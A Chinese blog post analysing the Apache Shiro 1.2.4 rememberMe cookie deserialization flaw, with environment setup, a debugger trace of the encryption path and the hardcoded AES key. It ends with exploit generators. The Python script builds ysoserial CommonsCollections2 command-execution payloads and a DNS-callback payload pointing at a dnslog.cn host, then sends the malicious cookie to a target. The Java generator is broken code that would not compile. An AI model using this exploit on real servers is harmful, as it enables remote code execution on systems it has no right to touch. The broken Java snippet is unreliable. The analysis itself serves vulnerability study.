java shiro1.2.4反序列化

漏洞原理

Apache Shiro <= 1.2.4 版本中,加密的用户信息序列化后存储在Cookie的rememberMe字段中,攻击者可以使用Shiro的AES加密算法的默认密钥来构造恶意的Cookie rememberMe值,发送到Shiro服务端之后会先后进行Base64解码、AES解密、readObject()反序列化,从而触发Java原生反序列化漏洞,进而实现RCE。
该漏洞的根源在于硬编码Key。

漏洞版本

Apache Shiro <= 1.2.4

环境搭建

git clone https://github.com/apache/shiro.git //下载shiro的源码
git checkout shiro-root-1.2.4  //切换版本到1.2.4

接着在IDEA中打开shiro/samples/web子目录为项目,这里需要注意,会解析web目录的文件和自动下载maven中写的插件加载速度会很慢
修改pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">

    <parent>
        <groupId>org.apache.shiro.samples</groupId>
        <artifactId>shiro-samples</artifactId>
        <version>1.2.4</version>
        <relativePath>../pom.xml</relativePath>
    </parent>

    <modelVersion>4.0.0</modelVersion>
    <artifactId>samples-web</artifactId>
    <name>Apache Shiro :: Samples :: Web</name>
    <packaging>war</packaging>

    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-toolchains-plugin</artifactId>
                <version>1.1</version>
                <executions>
                    <execution>
                        <goals>
                            <goal>toolchain</goal>
                        </goals>
                    </execution>
                </executions>
                <configuration>
                    <toolchains>
                        <jdk>
                            <version>1.8</version> 
//这里可能会根据自己的实际情况写jdk版本,如果本地只安装了1.8,那么就在maven install的时候修改一下toolchains.xml,在最后增加以下内容
//idea中的位置C:\Program Files\JetBrains\IntelliJ IDEA Community Edition 2020.2.3\plugins\maven\lib\maven3\conf
<!--
<toolchain>
    <type>jdk</type>
    <provides>
      <version>1.8</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
      <jdkHome>C:\Program Files\Java\jdk1.8.0_241\</jdkHome>
    </configuration>
  </toolchain>
</toolchains>
-->

                            <vendor>sun</vendor>
                        </jdk>
                    </toolchains>
                </configuration>
            </plugin>
//这个plugin我注释掉了,莫名其妙报错,不知道原因,是个测试模块
<!--
            <plugin>
                <artifactId>maven-surefire-plugin</artifactId>
                <configuration>
                    <forkMode>never</forkMode>
                </configuration>
            </plugin>
            <plugin>
-->
                <groupId>org.mortbay.jetty</groupId>
                <artifactId>maven-jetty-plugin</artifactId>
                <version>${jetty.version}</version>
                <configuration>
                    <contextPath>/</contextPath>
                    <connectors>
                        <connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
                            <port>9080</port>
                            <maxIdleTime>60000</maxIdleTime>
                        </connector>
                    </connectors>
                    <requestLog implementation="org.mortbay.jetty.NCSARequestLog">
                        <filename>./target/yyyy_mm_dd.request.log</filename>
                        <retainDays>90</retainDays>
                        <append>true</append>
                        <extended>false</extended>
                        <logTimeZone>GMT</logTimeZone>
                    </requestLog>
                </configuration>
            </plugin>
        </plugins>
    </build>

    <dependencies>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>servlet-api</artifactId>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-log4j12</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>log4j</groupId>
            <artifactId>log4j</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>net.sourceforge.htmlunit</groupId>
            <artifactId>htmlunit</artifactId>
            <version>2.6</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.mortbay.jetty</groupId>
            <artifactId>jetty</artifactId>
            <version>${jetty.version}</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.mortbay.jetty</groupId>
            <artifactId>jsp-2.1-jetty</artifactId>
            <version>${jetty.version}</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>jcl-over-slf4j</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId> //这里增加的是commons-collections4这个第三方库, ysoserial好打
            <version>4.0</version>
        </dependency>
        <dependency> //这个标签
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <version>1.2</version>
            <scope>runtime</scope>
        </dependency>
        <dependency> //这个标签
            <groupId>taglibs</groupId>
            <artifactId>standard</artifactId>
            <version>1.1.2</version>
            <scope>runtime</scope>
        </dependency>
    </dependencies>

</project>

随后点击右上角的run就可以跑起来整个项目了


image.png

调试分析

众所周知,shiro的反序列化的点产生在cookie中,所以我们定位到相关代码,在源码org.apache.shiro包中,有个mgt/CookieRememberMeManager类,而该类继承自AbstractRememberMeManager,向上跟进,发现该类是实现RememberMeManager接口的类
跟进RememberMeManager接口
这个接口类中定义了4个方法,我们在onSuccessfulLogin处打上断点,看看是具体登陆过程中实现了哪些方法


image.png

勾选上Remember Me后,点击登陆


image.png

跳转到了AbstractRememberMeManager类中的onSuccessfulLogin方法,本来就是这个类实现的接口类RememberMeManager
image.png

进入到方法后,首先执行的this.forgetIdentity(),跟进去看一下
这个函数的功能主要是获得http请求和相应中的东西
image.png

然后继续调用this.forgetIdentity,并且填充获取到的request和response
跟进去this.forgetIdentity,发现调用了this.getCookie().removeFrom


image.png

跟进去this.getCookie().removeFrom()方法,发现调用了addCookieHeader,在cookie头里加了一个deleteMe字段,然后就没做其他事情了
image.png

然后继续回到最上层函数onSuccessfulLogin()方法中
image.png

执行了一个判断,就是判断一下RememberMe有没有勾选,如果勾选了就会是true
image.png

之后判断完,就执行了this.rememberIdentity()方法,跟进去
image.png

首先执行了一个getIdentityToRemember()来获取用户的身份,传入的authcInfo,就是我们输入的用户名,root
随后就调用了this.rememberIdentity(),跟进去看一下
image.png

发现直接就调用this.convertPrincipalsToBytes,主要功能是把获取到的凭证转换成字节

首先,序列化凭证,然后调用encrypt()函数把字节加密,最后返回


image.png

简单跟一下encrypt()函数
发现是内部调用了加密服务,服务获取的是AES/CBC/PKCS5Padding加密算法
image.png

再后面是获取加密用的key对数据进行加密
这里的key就比较有意思了,key是由类的构造函数调用setCipherKey,自动赋值为Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")
image.png

然后加密完成后转成字节流就返回了
也就是rememberIdentity()这个函数获取的其实是root的AES加密之后的结果
image.png

随后就调用了this.rememberSerializedIdentity()
跟进去看一下
这个函数的功能就是把刚才序列化过的身份认证信息设置到cookie里
image.png

这里登录过程就分析完了
然后我们分析解密过程
现在cookie中记录了我们的刚才保存的cookie信息,看一下shiro是怎么把这个cookie解密成需要的字符串的
在RememberMeManager接口类中还定义了一个getRememberedPrincipals(),很明显这个就算获取身份认证信息的方法,在这里打上断点,然后关闭浏览器,重新访问网页看看cookie解析过程
同理还是跳转到了功能实现类AbstractRememberMeManager中的getRememberedPrincipals()方法中
image.png

首先执行的this.getRememberedSerializedIdentity()方法,把cookie中的数据读取出来
跟进去,里面有一个关键函数String base64 = this.getCookie().readValue(request, response);
image.png

这里就是把请求中的cookie数据读取rememeberMe字段,然后复制给value进行返回
image.png

随后回到上层函数getRememberedSerializedIdentity()方法中
这里做了一个比较把取出来的值做一下对比,看看是不是deleteMe字段,如果是就返回控
如果不是就做一个base64确定填充,随后做base64解密成字节流,然后返回
image.png

然后回到上层函数getRememberedPrincipals()中
接着执行this.convertBytesToPrincipals(),从函数名我们就能知道把刚才base64解密的字节流转换成身份认证信息,这个函数比较重要
跟进去,发现调用了this.decrypt()函数,然后把解密后的字节流反序列化,然后返回


image.png

跟一下this.decrypt()函数
这里就比较有意思了,还是调用的getCipherService()来获取加密方法,就是加密的时候提到的AES加密AES/CBC/PKCS5Padding
然后获取加密key,就是前文提到的Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
然后调用解密函数解密
image.png

跟一下解密函数decrypt()
这里我们分析一下逻辑
    public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
        byte[] encrypted = ciphertext;
        byte[] iv = null;
        if (this.isGenerateInitializationVectors(false)) {
            try {
                int ivSize = this.getInitializationVectorSize(); //这个是个128位,定义好的
                int ivByteSize = ivSize / 8; //这里是16位
                iv = new byte[ivByteSize]; //定义一个字节组,长度是16位
                System.arraycopy(ciphertext, 0, iv, 0, ivByteSize); //这里把ciphertext从0开始拷贝到iv的0开始,每次拷贝16位
                int encryptedSize = ciphertext.length - ivByteSize; //定义一个加密字节,大小是ciphertext的长度-16
                encrypted = new byte[encryptedSize]; //定义一个加密字节组,大小是encryptedSize 
                System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize); //这里把ciphertext从16开始,拷贝到encrypted,从0开始,每次拷贝encryptedSize 
            } catch (Exception var8) {
                String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
                throw new CryptoException(msg, var8);
            }
        }

        return this.decrypt(encrypted, key, iv); //这里调用下层解密,把取到的要解密的数据传入,key传入,iv即16个字节传入
    }

追进decrypt()


image.png

发现调用了this.crypt()
追进去


image.png

image.png

到这里就是java的原生解密方法了然后解密后返回

回到上层函数decrypt,到serialized = byteSource.getBytes();这,就算解密完成,然后返回
继续上层函数getRememberedSerializedIdentity(),调用this.deserialize(bytes);开始反序列化
跟进去,来到了熟悉的readObject()方法


image.png

payload编写

到这里我们已经分析清楚了shiro的序列化和反序列化的整个过程
所以我们如果需要shiro反序列化,我们需要一个cookie,cookie里面的数据是rememberMe字段,并且是AES/CBC/PKCS5Padding模式加密,然后是base64加密
其中key是shiro中写好的那个base64编码
iv是rememberMe解码后的前16个字节
有了key和iv就可以让shiro开始反序列化了
反序列化开始后,具体使用哪个调用链,就看shiro加载了哪个
写成完整的生成方式,就是这样

payload生成

java版的exp生成

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.AlgorithmParameters;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.security.spec.InvalidParameterSpecException;
import java.util.Base64;


public class shirorememberme {
    public static void main(String[] args) throws InvalidParameterSpecException, NoSuchPaddingException, NoSuchAlgorithmException, BadPaddingException, IllegalBlockSizeException, InvalidAlgorithmParameterException, InvalidKeyException {
        byte[] payload = "12312312"; //这里用ysoserial生成的字节流传进来
        String key = ""; //这里就是shiro中留的硬编码key,可以for循环起来
        Base64.Decoder raw = Base64.getDecoder(key);
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        AlgorithmParameters params = cipher.getParameters();
        byte[] ivs = params.getParameterSpec(IvParameterSpec.class).getIV();
        IvParameterSpec iv = new IvParameterSpec(ivs);
        SecretKeySpec keySpec = new SecretKeySpec(raw, "AES");
        cipher.init(Cipher.ENCRYPT_MODE, keySpec, iv);
        byte[] encrypted = cipher.doFinal(payload);

        byte[] result = new byte[ivs.length + encrypted.length];
        System.arraycopy(ivs,0, result, 0, ivs.length);
        System.arraycopy(encrypted, 0, result, ivs.length, encrypted.length);
    }
}

python版本的exp生成

import base64
import sys
import uuid
import subprocess

import requests
from Crypto.Cipher import AES


def encode_rememberme(command):
    # 这里使用CommonsCollections2模块
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)

    # 明文需要按一定长度对齐,叫做块大小BlockSize 这个块大小是 block_size = 16 字节
    BS = AES.block_size

    # 按照加密规则按一定长度对齐,如果不够要要做填充对齐
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

    # 泄露的key
    key = "kPH+bIxk5D2deZiIxcaaaA=="

    # AES的CBC加密模式
    mode = AES.MODE_CBC

    # 使用uuid4基于随机数模块生成16字节的 iv向量
    iv = uuid.uuid4().bytes

    # 实例化一个加密方式为上述的对象
    encryptor = AES.new(base64.b64decode(key), mode, iv)

    # 用pad函数去处理yso的命令输出,生成的序列化数据
    file_body = pad(popen.stdout.read())

    # iv 与 (序列化的AES加密后的数据)拼接, 最终输出生成rememberMe参数
    base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))

    return base64_rememberMe_value


def dnslog(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_rememberMe_value


if __name__ == '__main__':
    # cc2的exp
    payload = encode_rememberme('calc.exe')
    print("rememberMe={}".format(payload.decode()))

    # dnslog的poc
    payload1 = encode_rememberme('http://ca4qki.dnslog.cn/')
    print("rememberMe={}".format(payload1.decode()))

    cookie = {
        "rememberMe": payload.decode()
    }

    requests.get(url="http://127.0.0.1:8080/web_war/", cookies=cookie)
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容